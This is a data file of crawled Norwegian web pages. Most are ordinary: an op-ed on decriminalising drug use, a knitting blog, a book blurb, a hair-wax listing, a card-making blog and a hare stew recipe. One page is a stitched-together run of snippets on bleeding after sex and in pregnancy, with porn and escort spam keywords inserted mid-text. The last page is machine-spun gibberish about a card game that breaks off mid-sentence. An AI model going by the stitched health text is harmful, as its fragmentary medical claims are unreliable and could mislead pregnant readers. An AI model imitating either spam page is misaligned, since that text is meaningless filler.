{"url": "http://www.ivarjohansen.no/temaer/rus/5963-rusavhengige-kriminalisering-gjor-vondt-verre.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:32:43Z", "text": "# Rus\n\n## Rusavhengige: Kriminalisering gj\u00f8r vondt verre\n\n    Publisert mandag 20. mars 2017 22:00\n\n\n\nTydelig byr\u00e5d Inga Marte Thorkildsen:\n\n\"Jeg tror mange er enige om at de mest slitne rusavhengige menneskene burde m\u00f8tes med helsepolitiske og sosialpolitiske virkemidler, og ikke med straff. Jeg h\u00e5per i alle fall det. Da gjenst\u00e5r s\u00e6rlig sp\u00f8rsm\u00e5let som handler om straffeloven som verkt\u00f8y for avskrekking (allmennpreventiv virkning). For hva slags signaler sender vi - s\u00e6rlig til de unge - hvis narkotika ikke lenger skal v\u00e6re forbudt?\n\nJeg mener det er p\u00e5 tide \u00e5 stille seg sp\u00f8rsm\u00e5let om det virkelig er n\u00f8dvendig \u00e5 true med straff og politi for \u00e5 f\u00e5 ungdom til \u00e5 avst\u00e5 fra dope seg? Jeg tror ikke det. Og jeg tror at for endel ungdommer, s\u00e5 gj\u00f8r kriminalisering vondt verre. De f\u00e5r en kriminell identitet, og n\u00e5r de f\u00f8rst har tatt skrittet dit, kan det v\u00e6re kortere vei til \u00e5 pr\u00f8ve andre ting. Dessuten tror jeg vi mister noe helt vesentlig, nemlig muligheten til \u00e5 bygge en tillitsfull relasjon til ungdommene, basert p\u00e5 forst\u00e5else og nysgjerrighet,\" skriver byr\u00e5d Inga Marte Thorkildsen blant annet.\n\nInga Marte Thorkildsens tekst:\n\nSveinung Rotevatn fra Venstre viste oss i g\u00e5r hvor urettferdig en stor avis som VG kan vinkle to partiers relativt like forslag om avkriminalisering av bruk og besittelse av brukerdoser s\u00e5 ulikt. Det er pinlig for dem, men alvorlig for saken. For dette bidrar bare til \u00f8kt frykt hos mange. Endel tar n\u00e5 kontakt og sp\u00f8r om SV har tenkt til \u00e5 slippe alt l\u00f8s, og flere er bekymra for om vi ikke lenger skal bruke lovverket for \u00e5 skape holdninger i befolkninga. Jeg vil gjerne si litt om det.\n\nJeg tror mange er enige om at de mest slitne rusavhengige menneskene burde m\u00f8tes med helsepolitiske og sosialpolitiske virkemidler, og ikke med straff. Jeg h\u00e5per i alle fall det. Da gjenst\u00e5r s\u00e6rlig sp\u00f8rsm\u00e5let som handler om straffeloven som verkt\u00f8y for avskrekking (allmennpreventiv virkning). For hva slags signaler sender vi - s\u00e6rlig til de unge - hvis narkotika ikke lenger skal v\u00e6re forbudt?\n\nJeg mener det er p\u00e5 tide \u00e5 stille seg sp\u00f8rsm\u00e5let om det virkelig er n\u00f8dvendig \u00e5 true med straff og politi for \u00e5 f\u00e5 ungdom til \u00e5 avst\u00e5 fra dope seg? Jeg tror ikke det. Og jeg tror at for endel ungdommer, s\u00e5 gj\u00f8r kriminalisering vondt verre. De f\u00e5r en kriminell identitet, og n\u00e5r de f\u00f8rst har tatt skrittet dit, kan det v\u00e6re kortere vei til \u00e5 pr\u00f8ve andre ting. Dessuten tror jeg vi mister noe helt vesentlig, nemlig muligheten til \u00e5 bygge en tillitsfull relasjon til ungdommene, basert p\u00e5 forst\u00e5else og nysgjerrighet.\n\nFor \u00e5 v\u00e6re litt personlig: grunnen til at jeg hadde grenser n\u00e5r det gjaldt alkohol i min egen ungdomstid, handla f\u00f8rst og fremst om to ting: for det f\u00f8rste at jeg visste det var skadelig. Jeg hadde ikke lyst til \u00e5 miste kontrollen. For det andre at jeg var redd for at foreldrene mine eller andre jeg br\u00f8d meg om skulle oppdage det og bli skuffa over meg. Likevel skjedde det noen ganger at jeg drakk for mye, som ungdom flest i min ungdomstid.\n\nJeg er glad for at ikke disse utskeielsene kunne komme p\u00e5 rullebladet mitt. Og jeg mener det er veldig viktig at de som drakk ekstra mye fordi de hadde gode grunner til \u00e5 bed\u00f8ve seg, og som ikke hadde foreldre som br\u00f8d seg nevneverdig om dem, ikke fikk fyllekulene p\u00e5 rullebladet. De skadet tross alt bare seg selv, og det var ille nok.\n\nHva er det som gj\u00f8r at vi tenker at det som er alvorlig alltid m\u00e5 v\u00e6re forbudt for at det skal virke normdannende? Eller at trusler om straff og l\u00f8fter om bel\u00f8nning er det som skal disiplinere oss? Hvorfor kan vi ikke heller fors\u00f8ke oss p\u00e5 det ungdommene lenge har bedt oss voksne om - nemlig \u00e5 v\u00e6re mer til stede for dem, mer ydmyke i m\u00f8te med dem, kort sagt: bry oss mer om dem?\n\nPolitiet skal selvsagt ikke IKKE bry seg. De m\u00e5 fortsatt v\u00e6re til stede og f\u00f8lge med p\u00e5 de som skjer, og samarbeide med andre milj\u00f8er som bidrar til forebygging og trygghet i nabolagene. Men truslene om straff er et hinder for tillitsbygging. Muligheten til \u00e5 gj\u00f8re noe med \u00e5rsaken blir vanskeligere n\u00e5r voksne begynner \u00e5 straffe. Mange av dem som ruser seg mye, begynte \u00e5 ruse seg litt en gang. Og de hadde trengt noen voksne som s\u00e5 bak rusinga og spurte HVORFOR. Noen som viste i ord og handling at de virkelig br\u00f8d seg om dem. De andre, de som bare ruser seg en gang iblant, trenger ogs\u00e5 noen som bryr seg om dem. Noen som kommer og henter dem uansett om de har v\u00e6rt dumme p\u00e5 fest - med alkohol eller cannabis eller kokain. Noen som ikke overlater til politiet \u00e5 gj\u00f8re jobben, eller mister hodet og overreagerer fordi det er forbudt \u00e5 oppf\u00f8re seg s\u00e5nn. Men som ogs\u00e5 forteller de unge om skadevirkningene, og som fortsatt blir skuffa n\u00e5r ungdommene deres g\u00e5r over streken.\n\nDessuten tror jeg vi voksne m\u00e5 innse at unge har et ganske annet forhold til b\u00e5de alkohol og for eksempel cannabis enn mange av oss f\u00f8rti\u00e5ringer hadde da vi var unge. De drikker mindre, men de r\u00f8yker ogs\u00e5 mer cannabis. Hva skal vi gj\u00f8re med det? I alle fall spre mer kunnskap. Og sikkert drikke mindre.\n\n  - Slik presenterer VG det n\u00e5r H\u00f8yre og helseministern vil det samme\n#### Kommentarer \u00a0\u00a0\n\n   0   \\#11 Mark D. Chapman 28-03-2017 15:45\n\nSom Christian Olsen her p\u00e5peker er ikke hovedproblemet i norsk ruspolitikk at rusavhengige kriminaliseres. Jeg kan ogs\u00e5 legge til at det er utrolig sm\u00e5 sjanser for at en ungdommelig utskeielse f\u00f8rer til at man f\u00e5r et rulleblad for bruk og besittelse av narkotika, sannsynligvis er sjansen ikke eksisterende. Her lar jeg en med gateerfaring ta ordet: politiforum.no/.../...  \nS\u00e5 f\u00f8r dere gj\u00f8r ubotelig skade SV: Ta rev i seilene. Ikke r\u00f8r legemiddelloven ( ja det er den som regulerer dette). Foresl\u00e5 \u00f8kte bevilgninger b\u00e5de til mer forebygging, alternative reaksjoner og bedre behandling og ettervern, s\u00e5 vil vi kunne styrke den solidariske ruspolitikken og ikke en liberalistisk og individualistis k tiln\u00e6rming.Egne erfaringer er viktige, men baser politikken deres p\u00e5 s\u00e5 gode fakta som mulig. Se gjerne ogs\u00e5 www.narkotikapolitikk.no\n\n", "language": "no", "__index_level_0__": "528df3e4-dde0-4113-91fb-83aaa004d453"}
{"url": "http://trollogting.blogspot.com/2010/03/har-du-sett-maken.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:19:03Z", "text": " \n\n## mandag 22. mars 2010\n\n### Har du sett maken.......\n\n....til fine sokkar?  \nDesse kom i posten f\u00f8r helga........fr\u00e5 den f\u00f8r omtalte strikkeglade systera mi....denne gongen som \"p\u00e5skj\u00f8nning\" etter at eg sende ho ein del m\u00f8nster til strikkasokkar.  \nSlik sett kan du sei det kjem som resultat av min samlemani..............kastar ikkje m\u00f8nster, eg....sj\u00f8lv om sjangsen for at dei blir brukt (av meg) er heller liten.  \nKjekt d\u00e5, at dei kan kome til nytte hj\u00e5 andre........  \n  \nOg sokkane er superfine\\!\\!\\!  \nTusen takk\\!  \n  \n  \nI dag har det vore riktig fint ute........med mange plussgrader...og litt sol.  \nDet v\u00e5rast, folkens\\!  \n\n17:10           \n\n#### 24 kommentarer:\n\n\")\n\n\n\nSTRIKKEMOR(O) sa...\n\nKjempefine sokkar\\! Kjekt med s\u00e5nne g\u00e5ver i posten\\!\n\n 22. mars 2010 kl. 18:20    \n\n\n\n\n\nStubbetufsa sa...\n\nFlotte sokker\\!  \nTakk for kommentar\\! Joda vi har mye sne, og vi er jo for s\u00e5 vidt vant til mye sne n\u00e5r v\u00e5ren er ventendes\\!  \nSom regjeringsfolka sa da det ble delt ut krigsmedaljer til folk som hadde strabasi\u00f8se bragder p\u00e5 samvittigheta (fritt gjengitt): De oppe i Nord-Norge trenger ikke medaljer, for de er n\u00e5 vant til h\u00e5rde forhold\\!\n\n 22. mars 2010 kl. 19:43    \n\n\n\n\n\nMajorogMeg sa...\n\nDe var kjempefine med et alldeles nydelig m\u00f8nster:) Ja, disse skj\u00f8nner jeg du ble glad for \u00e5 f\u00e5:)  \n  \nSer i innlegget under at det har v\u00e6rt naturkrefter p\u00e5 gang ja\\! H\u00e5per alt ble bra\\!  \nKos deg videre p\u00e5 mandagskvelden, klem fra meg:)\n\nS\u00e5 flotte de er\\!  \nLitt av en gave\\!  \nKlem : )\n\n 22. mars 2010 kl. 20:17    \n\n\n\nHeldige du som har ei s\u00f8ster som strikkar slike flotte sokkar til deg\\! Det minkar heldigvis fort p\u00e5 sn\u00f8en her ute p\u00e5 kysten ogs\u00e5. Har eit visst h\u00e5p om at p\u00e5skeliljene skal komme i blomst til p\u00e5ske i \u00e5r ogs\u00e5.\n\n 22. mars 2010 kl. 21:17    \n\n\n\n\n\nMonicas sa...\n\ns\u00e5 vakre....r\u00f8dt e liksom mi farge...:)\n\n 22. mars 2010 kl. 21:19    \n\n \n\nAnne sa...\n\nkjempe fine sokker og fint m\u00f8nster:) Ha en fin uke \\!\n\n 22. mars 2010 kl. 21:41    \n\n\n\n\n\nGamleheksa sa...\n\nHun er fenomenalt flink den s\u00f8stra di, men du er neimen ikke borte vekk med strikkepinnene du heller.\n\n 22. mars 2010 kl. 21:59    \n\n\n\n\n\nElkat sa...\n\nKjempefine sokker du har f\u00e5tt i posten.Nydelig m\u00f8nster...Ja det er lurt \u00e5 ta vare p\u00e5 litt,men det har en tendens til \u00e5 bli for mye.  \nHa ei fin uke\\!\n\n 22. mars 2010 kl. 22:10    \n\n\n\n\n\nTussi sa...\n\nFint \u00e5 f\u00e5 slike flotte sokker i gave, heldig er du\\!  \nHa ei fin uke :)\n\n 22. mars 2010 kl. 22:11    \n\n\n\nS\u00e5 heldig du er\\! Sokkene er kjempefine\\!\n\n 22. mars 2010 kl. 22:39    \n\n\n\n\n\nRosa sa...\n\nFlinke tante :)\n\n 22. mars 2010 kl. 22:47    \n\n\n\n\n\nBestemor Drillo sa...\n\nFor en s\u00f8ster\\!\\!  \nMen det er vel gjensidig tenker jeg;))  \nFlotte sokker var det\\!\\!Klem og god tirsdag;))\n\n 22. mars 2010 kl. 23:02    \n\n\n\n\n\nSonja sa...\n\nDet var fine sokker, herlig \u00e5 ha ei s\u00f8ster som lager s\u00e5nne fine ting og gir bort.  \nDet v\u00e5res s\u00e5 visst. Fort g\u00e5r det ogs\u00e5 n\u00e5r sn\u00f8en begynner \u00e5 smelte.  \nN\u00e5 gleder vi oss alle til det begynner \u00e5 blomstre i bedene.  \nHa ei fin uke.\n\n 22. mars 2010 kl. 23:42    \n\n\n\n\n\nDet \u00e4r helt OTROLIGA arbeten ni g\u00f6r n\u00e4r ni stickar=)Sn\u00e4ll syster du har. Visst \u00e4r v\u00e5ren p\u00e5 g\u00e5ng nu, k\u00e4nns s\u00e5 sk\u00f6nt.  \nKlem\n\n 23. mars 2010 kl. 08:28    \n\n\n\n\n\nKariL sa...\n\nKjempelekre og s\u00e5 flott m\u00f8nster. Hvor finnes det? Heldige du\\!\n\n 23. mars 2010 kl. 08:46    \n\n\n\n\n\nSom dagene g\u00e5r sa...\nKjempefine sokker du har f\u00e5tt. Du f\u00e5r bare fortsette med \u00e5 gi bort m\u00f8nster til s\u00f8ster di s\u00e5 kanskje kommer det en spennende overraskelse senere ogs\u00e5:))  \nHa en fin uke\\!\n\n 23. mars 2010 kl. 12:02    \n\n\n\n\n\nTorilpia sa...\n\nS\u00e5 snill s\u00f8ster du har .. fin-fine sokker :o)  \n  \nLitt av et arbeid vannet har hatt med \u00e5 \u00f8delegge veien deres .. h\u00e5per dere har f\u00e5tt fiksa det igjen n\u00e5 .. :o)  \n  \nHa en fortsatt flott tirsdag - klemmer\\!\n\n 23. mars 2010 kl. 15:30    \n\n\n\n\n\nAnKa sa...\n\nNydelige sokka du har f\u00e5tt, kjempeflott i kvitt og r\u00f8dt.  \nHa en flott tirsdagskveld.\n\n 23. mars 2010 kl. 17:50    \n\n\n\n\n\ncille sa...\n\nWow\\! dette var lekre sokker ja\\! Beudrer de som har tolmodighet med s\u00e5 mye m\u00f8nsterstrikk\\! Ha en fortsatt fin fin uke\\!\n\n 23. mars 2010 kl. 18:15    \n\n \n\nBodil sa...\n\nDet var jammen flotte sokkar :) Kjekt \u00e5 f\u00e5 s\u00e5 fin pakke i posten :)\n\n 23. mars 2010 kl. 21:46    \n\n\n\n\n\nAnne-Berit sa...\n\nKjempefine sokker du fikk,flink den s\u00f8stera di.Man skal ikke kaste m\u00f8nstre nei,man vet aldri n\u00e5r de kan komme til nytte hos noen.  \nHa en finfin onsdag:)\n\n 23. mars 2010 kl. 23:02    \n\n\n\n\n\nAnelias hantverk sa...\n\nS\u00e5 vackra sockor du har gjort i mycket fina f\u00e4rger\\!  \nHa en bra dag1\n\n 24. mars 2010 kl. 19:02    \n\n \n\nFor noen nydelige sokker\\! Ja, det kan v\u00e6re lurt \u00e5 gjemme p\u00e5 ting,m\u00f8nstre i dette tilfellet, plutselig kan de komme til nytte, enten for andre, el for en selv\\! \u00d8nsker deg noen fine dager fremover\\!\n\n 25. mars 2010 kl. 16:11    \n\n     Herlig med solen som varmer :) \n    \n> ***\"Heller et kreativt kaos enn et velordnet  \n***Ville Gud ha gjort vin s\u00e5 velsmakende, hvis han hadde \u00f8nsket \u00e5 forby den?** *Armand Jean du Plessis de Richelieu  \n", "language": "no", "__index_level_0__": "f4323371-6d09-4bd7-b4e1-1a03ed414657"}
{"url": "https://www.cappelendamm.no/_mummitrollet---folg-sporet-9788202545253", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:26:47Z", "text": "\n \n**Mummitrollet - F\u00f8lg sporet**\u00a0er en bok som aktiviserer barn 2-4 \u00e5r.\n\nMummitrollet leter overalt etter Snusmumrikken, men han er ingensteds \u00e5 finne. Hvor kan han v\u00e6re? F\u00f8lg fingerl\u00f8ypene p\u00e5 hver side for \u00e5 utforske Mummidalen og hjelp Mummitrollet \u00e5 finne sin beste venn\\! Let og finn, lek og l\u00e6r.\n\n", "language": "no", "__index_level_0__": "424401d6-a773-4017-be37-8f3b77d0b893"}
{"url": "http://ifrl-pac.com/611-samleie-gravid-bldning.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:42:24Z", "text": "Hormonene kan komme ut av kontroll og for\u00e5rsake l\u00f8se deler av belegget skur. Dette er normalt n\u00e5r morkaken ikke er fullt tilkoblet. Livmorhals bl\u00f8dning: Etter \u00e5 engasjere seg i sex, noen kvinner bl\u00f8r p\u00e5 grunn av \u00f8mhet og f\u00f8lsomhet av livmorhalsen. Hvis du oppdager dette, b\u00f8r du ikke ha samleie mer enn en gang som det\u00a0 31. okt 2016 Vaginale bl\u00f8dninger utenom de faste periodene er imidlertid ikke s\u00e6rlig uvanlig, heller ikke bl\u00f8dning etter samleie. En uventet vaginal bl\u00f8dning betyr at det. Da jeg fikk p\u00e5 do i morges var det en del blod, og samme n\u00e5r jeg t\u00f8rker meg. Jeg har verken vondt eller noe. Men er veldig bekymret. Er 12+3 uker\u00a017. sep 2002 Det forekommer ogs\u00e5 bl\u00f8dninger utenom forventet syklus som kan v\u00e6re tidlige spontanaborter, bl\u00f8dninger fra skjeden etter rifter og skader etter samleier eller ved noen infeksjoner. Hvis slike bl\u00f8dninger oppst\u00e5r uten spesiell anledning som kan forklare svingningene, kan det v\u00e6re en ide \u00e5 kontakte lege for\u00a0\n\nKvinner er s\u00e5 forskjellige at noen ikke merker bl\u00f8dning i det hele tatt, mens andre kan kjenne at egget fester seg i livmorveggen. Uansett- Husk at dersom kvinnen har normal eggl\u00f8sning, mannen har god s\u00e6dkvalitet, og dere har samleie i perioden 5 dager f\u00f8r og under eggl\u00f8sning, er det rundt 20% sjanse for graviditet. S\u00e5 hvis den kvinnelige syklusen er tjueen dag, er det mulig \u00e5 bli gravid under menstruasjon? menn cellene er i stand til \u00e5 v\u00e6re i kvinnens kropp til en syklusen varer i 21 dager, ovulation skjer i gjennomsnitt 7 dager etter begynnelsen av den neste samleie foreg\u00e5r under bl\u00f8dning, vil sperm kunne\u00a0 9. jan 2014 Det f\u00f8rste jeg lurte p\u00e5 var naturligvis: Hvor lenge b\u00f8r man vente etter en spontanabort med \u00e5 fors\u00f8ke \u00e5 bli gravid igjen? Her varierte .. 3 dager etter ordin\u00e6r ul, hvor vi fikk h\u00f8re og se at alt stod bra til og at vi venta ei jente til, fikk jeg plutselig en st\u00f8rre bl\u00f8dning og fryktelig vondt i magen. Jeg ble kj\u00f8rt til\u00a07. jun 2013 Trude har g\u00e5tt p\u00e5 p-piller, p-spr\u00f8yte, spiral, flere av dem samtidig - likevel er hun blitt uplanlagt gravid fire ganger. Jeg ringte legevakten, sa at jeg var gravid og at jeg hadde bl\u00f8dninger. Jeg ble \u2022Avbrutt samleie: 3-17 % sjanse for graviditet, bl.a. avhengig av n\u00e5r i menstruasjonssyklusen samleiet skjer.\n\n> Samleie kan ogs\u00e5 bli begrenset hvis du har visse komplikasjoner, for eksempel for tidlig arbeid eller bl\u00f8dning. Du m\u00e5 kanskje sp\u00f8rre din helsepersonell om \u00e5 avklare om dette ikke betyr noen penetrasjon, ingen orgasmer eller ingen seksuell opphisselse, da forskjellige komplikasjoner kan kreve forskjellige begrensninger.\n\n## Endometriose - Aleris\n\n5\\. nov 2013 Men har merket at menstrasjonen har blitt forlenget n\u00e5r den da er tilbake til normalen, og jeg f\u00e5r ofte bl\u00f8dninger under samleie utenom menstrasjonen. Leste at det kunne v\u00e6re kreft i Men det er selvf\u00f8lgelig viktig \u00e5 nulle ut graviditet ved \u00e5 ta en ny graviditetstest om en ukes tid. Det er vanlig i 40-\u00e5rene at\u00a0 7. jul 2017 men mensen. Gravid mens man har mensen Lesbian Porn Hd Lesbisk Sex Leirsund Porno Big Ass Dansk Erotisk. Hndtere jeg skal si Xxx Sex. Har ikke f\u00e5tt mensen etter sex med beskyttelse. Porno norsk tale billig thai massasje oslo, Single thai damer i norge mature hd porn. PRIVAT. Hvor lenge etter\u00a0Noen kvinner har eggl\u00f8sning f\u00f8r opph\u00f8r av eggl\u00f8sningen begynner noen dager etter faktisk, og i en annen sak, samleie med utl\u00f8sning inn i skjeden f\u00f8r utbruddet av menstruasjon eller umiddelbart etter ferdigstillelse kan f\u00f8re til graviditet. \u00abKvasi menstruasjon\" (vaginal bl\u00f8dning) - er\u00a0\n\n7\\. nov 2016 eller kvinnen ikke har regelmessige menstruasjoner og kvinnen har hatt samleie i l\u00f8pet av den siste uken, er det risiko for at . kvinner med amenor\u00e9 f\u00e5r bl\u00f8dninger. Fordi en ektopisk graviditet kan p\u00e5virke fremtidig fertilitet, b\u00f8r fordeler og risiko ved bruk av Kyleena overveies n\u00f8ye for hver enkelt kvinne. 14. okt 2016 Det er vanlig \u00e5 oppleve litt sporbl\u00f8dning etter samleie n\u00e5r du er gravid, dette fordi slimhinnene i skjeden og p\u00e5 livmorhalsen er litt mer. I utgangspunktet er det s\u00e5nn at en ikke skal bl\u00f8 n\u00e5r en er gravid. Det skyldes at den blodrike livmorhalsen, som sitter \u00f8verst i skjeden, i forbindelse med samleie, Hvis du\u00a0 Du kan bli smittet ved vaginalt samleie, men du trenger ikke \u00e5 gjennomf\u00f8re samleie for \u00e5 bli smittet, det er nok at kj\u00f8nnsorganene er i kontakt med hverandre. En har Kvinner kan f\u00e5 litt \u00f8ket utflod, bl\u00f8dning etter samleie og/eller litt svie ved vannlating. Plagene Etter en slik infeksjon kan en ha vansker med \u00e5 bli gravid.F\u00e5r virkelig alle symptomer som kvalme og en uteblivende menstruasjon, eller finnes det ogs\u00e5 mange andre symptomer og tegn p\u00e5 graviditet som ikke er like kjente som de to . Om det likevel hender at progesteronet faller, vil graviditeten g\u00e5 til grunne, og kvinnen vil f\u00e5 en bl\u00f8dning som kan minne om en menstruasjon.\n\nOm man har f\u00e5tt mensen etter siste samleie er man ikke gravid, men man kan ha andre typer bl\u00f8dninger n\u00e5r man har blitt gravid. Disse bl\u00f8dningene vil se annerledes ut enn vanlig mens, og de vil heller ikke vare s\u00e5 lenge som mensen varer. For mange unge jenter er mensen litt uregelmessig, og bl\u00f8dningene kommer litt.\n\nLivmorhalsen er \u00f8m i l\u00f8pet av denne tiden, og kan bl\u00f8 under samleie. Dette kan ikke v\u00e6re en indikasjon p\u00e5 noe alvorlig, men det er likevel lurt \u00e5 s\u00f8ke r\u00e5d fra legen din hvis du opplever bl\u00f8dninger etter samleie, spesielt n\u00e5r du er gravid. Bl\u00f8dning i f\u00f8rste trimester kan indikere en spontanabort, eller mulig spontanabort. 6. okt 2017 Bl\u00f8dninger som dette kan ogs\u00e5 v\u00e6re et tegn p\u00e5 en seksuell overf\u00f8rbar infeksjon. S\u00e5 om du har hatt ubeskyttet samleie, kan det v\u00e6re en ide \u00e5 teste seg for eksempelvis klamydia. Dette kan du gj\u00f8re gratis p\u00e5 helsestasjon for ungdom eller hos fastlegen din. Dersom du mistenker at du er gravid, kan du ta en\u00a0 En kvinne kan bli gravid av \u00e5 ha samleie under menstruasjon. Faktisk, nyere forskning utf\u00f8rt av United States National Institutes of Health (NIH) antyder at kvinner har potensial til \u00e5 bli gravid p\u00e5 nesten enhver tid i l\u00f8pet av sin syklus. Mens sjansen for graviditet er st\u00f8rre p\u00e5 enkelte dager i en kvinnes syklus, er det aldri helt\u00a0\n\n", "language": "no", "__index_level_0__": "5e8a0283-62a5-496c-a444-51686fe713c0"}
{"url": "https://www.bangerhead.no/e46-matte-head-no", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:02:56Z", "text": "\n\n# E+46  \n**E+46 Matte Head**\n\nOm produktet *B027583* \n\nSupermatt voks for styling og struktur. Gir god hold med matt finish.\n\n**Bruk:**\n\nBruk fuktig eller t\u00f8rt h\u00e5r. Arbeide in vokset i hendene og style din egen frisyre.\n\n  - Shine: 0/10\n  - Hold: 7/10\n  - Volume: 7/10\n\n  \n|            |         |\n| ---------- | ------- |\n| Styling:   | H\u00e5rvoks |\n| St\u00f8rrelse: | 100ml   |\n\n", "language": "no", "__index_level_0__": "8913332c-1483-4b2e-834b-536d1d6149a7"}
{"url": "http://aasesanna.blogspot.com/2012/10/o-jul-med-din-glede.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:41:34Z", "text": "Noe hobby og noe kommersielt..... \n\n## fredag 26. oktober 2012\n\n### O jul med din glede....\n\n  \nBestillingskort nr. 2.\n\nSkulle v\u00e6re en smule romantisk i tillegg til \"julete\".\n\n\u00a0F\u00f8ler meg forressten helt id\u00e9l\u00f8s, n\u00e5r det gjelder julekort.\n\nDet er s\u00e5 mange flotte kort ute i bloggverden, men jeg har visst stivnet i min enkle verden \\! :))\n\nNeste gang skal jeg pr\u00f8ve \u00e5 lesse p\u00e5 litt mere\u00a0\n\nblonder og stas....\n\n  \n\n\n\n\n  \nM\u00f8nsterpapir: Basic Grey, My Mind's Eye\n\nRammer: Kort\\&Godt\n\nMotiv: Ladybug\n\nBlomster: Prima\n\nStempel: Kort i Hodet + ukjent (embosset)\n\n  \n#### 3 kommentarer:\n\n1.  \n    \n    Bodil26. oktober 2012 kl. 12:09\n    \n    Kjempefint julekort du har lagd. Likte s\u00e5 godt at du har den revne boksiden under blomsten inni kortet.  \n    Ja her har migrena innhentet meg i dag, var som forventet det da etter to lange turer p\u00e5 sykehuset denne uken.  \n    Her har det kommet massse sn\u00f8 og det er rene julestemninga her :)  \n    God helg, klem :)\n    \n2.  \n    \n    Sonia26. oktober 2012 kl. 13:37\n    \n    What a gorgeous card dearest Sanna^\\_^ I like a lot the sweet image and fabulous papers used^\\_^  \n    Gorgeous details too^\\_^  \n    Hugs,  \n    Sonia\n    \n3.  \n    \n    Kort og S\u00f8m26. oktober 2012 kl. 14:04\n    \n    S\u00e5 fint julekort,  \n    flere ideer kommer nok n\u00e5r det n\u00e6rmer seg jul tenker jeg :O)  \n      \n    God helg\\!\n    \n", "language": "no", "__index_level_0__": "65937c45-f4c0-4eb7-a5d5-596c634aa906"}
{"url": "http://godtsuntogbillig.blogspot.com/2012/12/hunters-stew-viltgryte-haregryte-oppskrift.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:19:48Z", "text": "\n\n\n\n  \nHunters Stew\u00a0 til 10-12\u00a0 personer\n\n  \n\n\n  \n\n1 stor Hare eller tilsvarende, ca 2 kg.\n\nsideflesk/ bacon\n\nsopp ca 500 g\n\nsm\u00f8r til steking eller annet fett\n\n\u00a05 gulr\u00f8tter\u00a0\n\n\u00a03-5 l\u00f8k\n\n1 flaske \u00f8l\n\n10-15 knuste enerb\u00e6r\n\n2 laurb\u00e6rblad\n\n\u00a0rosmarinkvist (eller 1 ts t\u00f8rket)\n\n5 fedd presset hvitl\u00f8k\n\nsalt\n\n\u00a0pepper\n\n\u00a01 ts sukker\n\n1/4\u00a0 fl\u00f8te (eller mer...)\u00a0\n\n3 skiver geitost\n\n1/2 dl frosne tytteb\u00e6r\n\nklippet persille\n\n  \n  \n\nRens haren godt og del i biter.\n\nBrun sideflesket i t\u00f8rr panne, ta ut flesket og stek harebitene i fettet,\n\n  \n\n\n  \n\n\u00a0deretter soppen (tilsett sm\u00f8r hvis n\u00f8dvendig (unng\u00e5 olje pga sausekvaliteten til slutt)).  \n  \n\n\n\nSkj\u00e6r gulr\u00f8tter i skiver og l\u00f8k i b\u00e5ter og ha det i en stor jerngryte/ teflonbelagt kjele/ marmite...\n\nHell over \u00f8l og evnt. litt vann eller mer \u00f8l til det nesten dekker, tilsett urter og krydder, sukker etc.\n\n  \n\n\n\n  \n\n\n  \n\u00a0La sm\u00e5koke i 2 timer +/-, kan n\u00e5 hvile til litt f\u00f8r servering.\n\nTa gj\u00e6rne ut de bena som har l\u00f8snet fra kj\u00f8ttet,\u00a0\n\n  \n\n\n  \n\nha i fl\u00f8te og geitost og kok godt opp og r\u00f8r godt rundt.\n\n  \n\n\n  \nRett f\u00f8r servering has tytteb\u00e6r og persille oppi, de er penest n\u00e5r de ikke er for mye kokt.\n\n\n\n  \nServeres som den er med en gr\u00f8nn gr\u00f8nnsak og godt br\u00f8d.\n\n  \nPoteter eller Ris er jo ogs\u00e5 mulig tilbeh\u00f8r ;-)\n\n  \n\n\n  \nHege Nitteberg  at \n\n17:12  \n\n#### 3 kommentarer:\n\n1.  \n    \n    Elisabeth Nitteberg26. desember 2012 kl. 17:49\n    \n    Denne gryta ser kjempegod ut. Den kan kanskje lages med \"villsau\" ogs\u00e5, eller tom landkylling.\n    \n    1.  \n        \n        Hege alias Nyte27. desember 2012 kl. 17:33\n        \n        Merci :-)  \n          \n        Gryta kan fint lages med andre typer kj\u00f8tt, man b\u00f8r tenke p\u00e5 \u00e5 regulere koketiden i forhold til type kj\u00f8tt og st\u00f8rrelsen p\u00e5 bitene.\n        \n        Slett\n\n2.  \n    \n    Alexander4. mars 2017 kl. 12:40\n    \n    Har du soppen oppi til slutt? Ser for meg at den blir gummi hvis den skal koke i 2 timer.\n    \n...til stor glede for bloggforfatteren :-)  \n\n#### \n\n", "language": "no", "__index_level_0__": "8f7d1660-6458-4abc-80fc-8c87598bab99"}
{"url": "http://svatei.ru/meewe/484-virtual-games-free/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:26:16Z", "text": "Kunnskap hvordan i retning av \u00e5 oppn\u00e5 p\u00e5 viadukten gj\u00f8re det lettere i retning av verdsette viadukten foresp\u00f8rsel ordningen. Ved en anledning du bli kjent med hvordan i retning av \u00e5 oppn\u00e5 du besluttsomhet forst\u00e5else av hvorfor det bli bedre i retning av engasjere seg i rekreasjon inni hjertet / spader / NT enn diamanter ellers klubb pluss hvorfor gruppe skuespillere besluttsomhet b\u00e6re p\u00e5 foresp\u00f8rsel i retning av de fire, fem, seks ellers fortsatt syv h\u00f8yde p\u00e5 sin plass med stopp p\u00e5 tre ellers 4 h\u00f8yde.\n\nTillat oss lage ved hjelp av de totale **virtual games free** grunnprinsipper.\n\nAvvisning punkt v\u00e6re poengsum beregnet for den prim\u00e6re 6 atferd. En avtale beregnet for en av et sett med kl\u00e6r (ellers 